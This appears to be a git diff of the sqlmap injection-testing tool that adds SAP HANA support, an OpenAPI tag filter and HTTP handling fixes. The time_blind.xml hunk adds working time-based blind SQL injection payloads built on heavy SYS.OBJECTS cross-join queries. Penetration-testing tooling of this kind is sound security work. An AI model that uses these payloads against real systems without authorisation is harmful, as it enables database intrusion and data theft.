diff --git a/data/xml/errors.xml b/data/xml/errors.xml
index f066da0b92d..ddf34d51e9a 100644
--- a/data/xml/errors.xml
+++ b/data/xml/errors.xml
@@ -256,4 +256,11 @@
+
+
+
+
+
+
+
diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml
index f521deb8f06..fe9de254cc4 100644
--- a/data/xml/payloads/time_blind.xml
+++ b/data/xml/payloads/time_blind.xml
@@ -2170,5 +2170,82 @@
+
+ SAP HANA AND time-based blind (heavy query)
+ 5
+ 3
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))
+
+
+
+
+
+ SAP HANA
+
+
+
+
+ SAP HANA OR time-based blind (heavy query)
+ 5
+ 3
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))
+
+
+
+
+
+ SAP HANA
+
+
+
+
+ SAP HANA AND time-based blind (heavy query - comment)
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))
+ --
+
+
+
+
+
+ SAP HANA
+
+
+
+
+ SAP HANA time-based blind - Parameter replace (heavy query)
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 3
+ (SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))
+
+ (SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))
+
+
+
+
+
+ SAP HANA
+
+
+
diff --git a/data/xml/queries.xml b/data/xml/queries.xml
index 61dc69d9ed5..b72925b1c58 100644
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -1934,4 +1934,77 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/doc/THANKS.md b/doc/THANKS.md
index fcc746a266a..aa636fdeb20 100644
--- a/doc/THANKS.md
+++ b/doc/THANKS.md
@@ -623,6 +623,9 @@ Thierry Zoller,
Zhen Zhou,
* for suggesting a feature
+Zakaria Zoulati,
+* for contributing SAP HANA support
+
-insane-,
* for reporting a minor bug
diff --git a/lib/controller/handler.py b/lib/controller/handler.py
index 23e7bb441b4..0721cd1253b 100644
--- a/lib/controller/handler.py
+++ b/lib/controller/handler.py
@@ -25,6 +25,7 @@
from lib.core.settings import FIREBIRD_ALIASES
from lib.core.settings import FRONTBASE_ALIASES
from lib.core.settings import H2_ALIASES
+from lib.core.settings import HANA_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import INFORMIX_ALIASES
from lib.core.settings import MAXDB_ALIASES
@@ -57,6 +58,7 @@
from plugins.dbms.firebird import FirebirdMap
from plugins.dbms.frontbase import FrontBaseMap
from plugins.dbms.h2 import H2Map
+from plugins.dbms.hana import HANAMap
from plugins.dbms.hsqldb import HSQLDBMap
from plugins.dbms.informix import InformixMap
from plugins.dbms.maxdb import MaxDBMap
@@ -113,6 +115,7 @@ def setHandler():
(DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, "plugins.dbms.virtuoso.connector"),
(DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, "plugins.dbms.snowflake.connector"),
(DBMS.SPANNER, SPANNER_ALIASES, SpannerMap, "plugins.dbms.spanner.connector"),
+ (DBMS.HANA, HANA_ALIASES, HANAMap, "plugins.dbms.hana.connector"),
]
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
diff --git a/lib/core/agent.py b/lib/core/agent.py
index ad67ade14ae..5db8f450a66 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -771,7 +771,7 @@ def concatQuery(self, query, unpack=True):
elif fieldsNoSelect:
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
- elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER):
+ elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER, DBMS.HANA):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -1117,7 +1117,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr
- elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER):
+ elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER, DBMS.HANA):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
limitedQuery += " %s" % limitStr
diff --git a/lib/core/common.py b/lib/core/common.py
index 7dd4d441aaa..65ce3450a9c 100644
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -4436,7 +4436,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
retVal = "`%s`" % retVal
elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
retVal = "\"%s\"" % retVal
- elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
+ elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA):
retVal = "\"%s\"" % retVal.upper()
elif dbms in (DBMS.MSSQL, DBMS.SYBASE):
if isTable:
@@ -4480,7 +4480,7 @@ def unsafeSQLIdentificatorNaming(name):
retVal = name.replace("`", "")
elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
retVal = name.replace("\"", "")
- elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
+ elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA):
retVal = name.replace("\"", "").upper()
elif dbms in (DBMS.MSSQL, DBMS.SYBASE):
retVal = name.replace("[", "").replace("]", "")
diff --git a/lib/core/dicts.py b/lib/core/dicts.py
index b699a52d1ec..4abc2e8bfef 100644
--- a/lib/core/dicts.py
+++ b/lib/core/dicts.py
@@ -21,6 +21,7 @@
from lib.core.settings import FIREBIRD_ALIASES
from lib.core.settings import FRONTBASE_ALIASES
from lib.core.settings import H2_ALIASES
+from lib.core.settings import HANA_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import INFORMIX_ALIASES
from lib.core.settings import MAXDB_ALIASES
@@ -254,6 +255,7 @@
DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None),
DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"),
DBMS.SPANNER: (SPANNER_ALIASES, None, None, "spanner"),
+ DBMS.HANA: (HANA_ALIASES, "hdbcli", "https://pypi.org/project/hdbcli/", "hana"),
}
# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
@@ -267,7 +269,8 @@
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1",
DBMS.MIMERSQL: " FROM SYSTEM.ONEROW",
- DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS"
+ DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS",
+ DBMS.HANA: " FROM DUMMY"
}
HEURISTIC_NULL_EVAL = {
@@ -295,6 +298,7 @@
DBMS.CLICKHOUSE: "halfMD5(NULL)",
DBMS.SNOWFLAKE: "BOOLNOT(NULL)",
DBMS.SPANNER: "FARM_FINGERPRINT(NULL)",
+ DBMS.HANA: "MAP(NULL,NULL,NULL,NULL,NULL)",
}
SQL_STATEMENTS = {
diff --git a/lib/core/dump.py b/lib/core/dump.py
index 8b8feec0bd7..bbeb3d0f221 100644
--- a/lib/core/dump.py
+++ b/lib/core/dump.py
@@ -197,7 +197,7 @@ def currentUser(self, data):
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
def currentDb(self, data):
- if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE):
+ if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE, DBMS.HANA):
self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO):
self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
diff --git a/lib/core/enums.py b/lib/core/enums.py
index 727eaed88fc..4dde21980a6 100644
--- a/lib/core/enums.py
+++ b/lib/core/enums.py
@@ -62,6 +62,7 @@ class DBMS(object):
VIRTUOSO = "Virtuoso"
SNOWFLAKE = "Snowflake"
SPANNER = "Spanner"
+ HANA = "SAP HANA"
class DBMS_DIRECTORY_NAME(object):
ACCESS = "access"
@@ -94,6 +95,7 @@ class DBMS_DIRECTORY_NAME(object):
VIRTUOSO = "virtuoso"
SNOWFLAKE = "snowflake"
SPANNER = "spanner"
+ HANA = "hana"
class FORK(object):
MARIADB = "MariaDB"
diff --git a/lib/core/option.py b/lib/core/option.py
index 920d4d95c25..d61134aa5ab 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -521,8 +521,13 @@ def _setOpenApiTargets():
logger.info(infoMsg)
content = openFile(conf.openApiFile).read()
+ tags = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.openApiTags) if _.strip()] if conf.openApiTags else None
+ if tags:
+ infoMsg = "restricting extraction to OpenAPI/Swagger operations tagged: %s" % ", ".join(tags)
+ logger.info(infoMsg)
+
try:
- targets = openApiTargets(content, origin)
+ targets = openApiTargets(content, origin, tags)
except ValueError as ex:
errMsg = "unable to parse the OpenAPI/Swagger specification ('%s')" % getSafeExString(ex)
raise SqlmapSyntaxException(errMsg)
@@ -1515,15 +1520,8 @@ def _setHTTPAuthentication():
authHandler = _urllib.request.HTTPDigestAuthHandler(kb.passwordMgr)
elif authType == AUTH_TYPE.NTLM:
- try:
- from ntlm import HTTPNtlmAuthHandler
- except ImportError:
- errMsg = "sqlmap requires Python NTLM third-party library "
- errMsg += "in order to authenticate via NTLM. Download from "
- errMsg += "'https://github.com/mullender/python-ntlm'"
- raise SqlmapMissingDependence(errMsg)
-
- authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr)
+ from lib.request.ntlm import HTTPNtlmAuthHandler
+ authHandler = HTTPNtlmAuthHandler(kb.passwordMgr)
else:
debugMsg = "setting the HTTP(s) authentication PEM private key"
logger.debug(debugMsg)
@@ -2705,15 +2703,6 @@ def putheader(self, header, *values):
_http_client.HTTPConnection._http_vsn = 10
_http_client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
- if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")):
- try:
- from websocket import ABNF
- ABNF # require websocket-client, not any 'websocket' module
- except ImportError:
- errMsg = "sqlmap requires third-party module 'websocket-client' "
- errMsg += "in order to use WebSocket functionality"
- raise SqlmapMissingDependence(errMsg)
-
def _checkTor():
if not conf.checkTor:
return
diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py
index 3e7fa93c499..f51325e4839 100644
--- a/lib/core/optiondict.py
+++ b/lib/core/optiondict.py
@@ -21,6 +21,7 @@
"configFile": "string",
"openApiFile": "string",
"openApiBase": "string",
+ "openApiTags": "string",
},
"Request": {
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 6fb66aa5954..98fe36e4469 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.7.51"
+VERSION = "1.10.7.62"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -249,6 +249,9 @@
# Maximum number of techniques used in inject.py/getValue() per one value
MAX_TECHNIQUES_PER_VALUE = 2
+# Fraction of the currently displayed progress-bar ETA kept when a fresh estimate arrives (eases the on-screen countdown toward the new value instead of snapping); 0 disables smoothing, higher is smoother but laggier
+ETA_DISPLAY_SMOOTHING = 0.5
+
# In case of missing piece of partial union dump, buffered array must be flushed after certain size
MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024
@@ -360,6 +363,7 @@
VIRTUOSO_SYSTEM_DBS = ("",)
SNOWFLAKE_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
SPANNER_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SPANNER_SYS")
+HANA_SYSTEM_DBS = ("SYS", "SYSTEM", "_SYS_BI", "_SYS_BIC", "_SYS_REPO", "_SYS_STATISTICS", "_SYS_XS", "HANA_XS_BASE")
# Note: () + ()
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
@@ -392,20 +396,21 @@
VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso")
SNOWFLAKE_ALIASES = ("snowflake",)
SPANNER_ALIASES = ("spanner", "google cloud spanner", "google spanner")
+HANA_ALIASES = ("hana", "sap hana", "saphana", "hdb")
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
-SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + FRONTBASE_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES)
+SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + FRONTBASE_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES + HANA_ALIASES)
SUPPORTED_OS = ("linux", "windows")
-DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES))
+DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES), (DBMS.HANA, HANA_ALIASES))
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
REFERER_ALIASES = ("ref", "referer", "referrer")
HOST_ALIASES = ("host",)
# DBMSes with upper case identifiers
-UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE, DBMS.SNOWFLAKE))
+UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE, DBMS.SNOWFLAKE, DBMS.HANA))
# Default schemas to use (when unable to enumerate)
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
index 817e12f6aa0..f603961bc29 100644
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -150,6 +150,9 @@ def cmdLineParser(argv=None):
target.add_argument("--openapi-base", dest="openApiBase",
help="Base URL for a host-less OpenAPI/Swagger spec")
+ target.add_argument("--openapi-tags", dest="openApiTags",
+ help="Only derive targets from operations with these tag(s)")
+
# Request options
request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL")
diff --git a/lib/parse/openapi.py b/lib/parse/openapi.py
index 996b5ece6a4..05054208c06 100644
--- a/lib/parse/openapi.py
+++ b/lib/parse/openapi.py
@@ -206,15 +206,18 @@ def _baseUrl(spec, origin=None, servers=None):
_METHODS = ("get", "post", "put", "delete", "patch", "options", "head")
-def openApiTargets(content, origin=None):
+def openApiTargets(content, origin=None, tags=None):
"""
Returns a list of (url, method, data, headers) request tuples derived from an OpenAPI/Swagger
specification. 'headers' is a list of (name, value) tuples (matching conf.httpHeaders). 'origin'
(scheme://host[:port] of the specification's own location) is used only to resolve RELATIVE 'servers'
entries - absolute server URLs are used as declared. Path parameters and header/cookie values carry
- the custom injection mark so they become testable injection points.
+ the custom injection mark so they become testable injection points. 'tags' (list) restricts extraction
+ to operations declaring at least one of those OpenAPI tags (to scope a scan of a large API).
"""
+ tagSet = set(tags) if tags else None
+
spec = _loadSpec(content)
if not isinstance(spec, dict) or not isinstance(spec.get("paths"), dict) or not spec.get("paths"):
errMsg = "no valid 'paths' object found in the provided OpenAPI/Swagger specification"
@@ -236,6 +239,8 @@ def openApiTargets(content, origin=None):
for method, operation in item.items():
if str(method).lower() not in _METHODS or not isinstance(operation, dict): # str(): YAML keys can be non-string (e.g. 404, 'on'->bool)
continue
+ if tagSet is not None and not (tagSet & set(_ for _ in (operation.get("tags") or []) if isinstance(_, six.string_types))):
+ continue # '--openapi-tags' filter: operation carries none of the requested tags
try:
# effective base URL with OpenAPI precedence: operation 'servers' > path-item 'servers' > root
opServers = operation.get("servers") or item.get("servers")
diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py
index fd68ece04b7..882c86b2013 100644
--- a/lib/parse/sitemap.py
+++ b/lib/parse/sitemap.py
@@ -8,6 +8,7 @@
import re
from lib.core.common import readInput
+from lib.core.convert import htmlUnescape
from lib.core.data import kb
from lib.core.data import logger
from lib.core.datatype import OrderedSet
@@ -47,7 +48,7 @@ def parseSitemap(url, retVal=None, visited=None):
if abortedFlag:
break
- foundUrl = match.group(1).strip()
+ foundUrl = htmlUnescape(match.group(1).strip())
# Basic validation to avoid junk
if not foundUrl.startswith("http"):
diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py
index 573f3b3d032..4fface114ac 100644
--- a/lib/request/chunkedhandler.py
+++ b/lib/request/chunkedhandler.py
@@ -14,6 +14,10 @@ class ChunkedHandler(_urllib.request.HTTPHandler):
Ensures that HTTPHandler is working properly in case of Chunked Transfer-Encoding
"""
+ # Note: run after urllib's own request munging so that a Content-Length it may have added (the
+ # HTTPS path on Python 2 adds one unconditionally) is present to be stripped when '--chunked'
+ handler_order = _urllib.request.HTTPHandler.handler_order + 1
+
def _http_request(self, request):
host = request.get_host() if hasattr(request, "get_host") else request.host
if not host:
@@ -23,7 +27,11 @@ def _http_request(self, request):
data = request.data
if not request.has_header(HTTP_HEADER.CONTENT_TYPE):
request.add_unredirected_header(HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded")
- if not request.has_header(HTTP_HEADER.CONTENT_LENGTH) and not conf.chunked:
+ if conf.chunked: # Content-Length must not accompany 'Transfer-Encoding: chunked'
+ for store in (request.headers, request.unredirected_hdrs):
+ for name in [_ for _ in store if _.lower() == HTTP_HEADER.CONTENT_LENGTH.lower()]:
+ del store[name]
+ elif not request.has_header(HTTP_HEADER.CONTENT_LENGTH):
request.add_unredirected_header(HTTP_HEADER.CONTENT_LENGTH, "%d" % len(data))
sel_host = host
@@ -38,4 +46,4 @@ def _http_request(self, request):
request.add_unredirected_header(name, value)
return request
- http_request = _http_request
+ http_request = https_request = _http_request
diff --git a/lib/request/connect.py b/lib/request/connect.py
index 70d5091d062..77f9f25a74f 100644
--- a/lib/request/connect.py
+++ b/lib/request/connect.py
@@ -19,12 +19,8 @@
import time
import traceback
-try:
- import websocket
- from websocket import WebSocketException
-except ImportError:
- class WebSocketException(Exception):
- pass
+from lib.request import websocket
+from lib.request.websocket import WebSocketException
from lib.core.agent import agent
from lib.core.common import asciifyUrl
diff --git a/lib/request/inject.py b/lib/request/inject.py
index 731a47b0cbc..8948a07cc6d 100644
--- a/lib/request/inject.py
+++ b/lib/request/inject.py
@@ -8,6 +8,7 @@
from __future__ import print_function
import re
+import threading
import time
from lib.core.agent import agent
@@ -16,6 +17,7 @@
from lib.core.common import dataToStdout
from lib.core.common import unArrayizeValue
from lib.core.datatype import AttribDict
+from lib.utils.progress import ProgressBar
from lib.utils.safe2bin import safecharencode
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
@@ -58,12 +60,14 @@
from lib.core.exception import SqlmapNotVulnerableException
from lib.core.exception import SqlmapUserQuitException
from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS
+from lib.core.settings import IS_TTY
from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
from lib.core.settings import SQL_SCALAR_REGEX
from lib.core.settings import UNICODE_ENCODING
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
+from lib.core.threads import setDaemon
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.request.direct import direct
@@ -405,6 +409,25 @@ def _verifyInferredValue(expression, value):
except Exception:
return True
+def valueParallelEligible():
+ """
+ Whether blind enumeration/dumping should take the value-parallel path (one whole value per worker)
+ rather than the classic char loop. It is chosen for concurrency ('--threads') and, independently, to
+ render a single whole-job progress bar/ETA ('--eta'). A concurrency-safe channel - boolean or the
+ HTTP/2 timeless oracle - qualifies with either. Classic time-based qualifies only single-threaded under
+ '--eta': concurrent SLEEP measurements interfere, so it must stay sequential (where it is safe, and
+ still gets the whole-job ETA that matters most for the slowest channel). Callers add their own extra
+ guards (e.g. '--dns-domain', per-column comments).
+ """
+
+ concurrencySafe = isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.get("timeless") is not None
+
+ if conf.threads > 1:
+ return concurrencySafe
+ if conf.eta:
+ return concurrencySafe or isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME)
+ return False
+
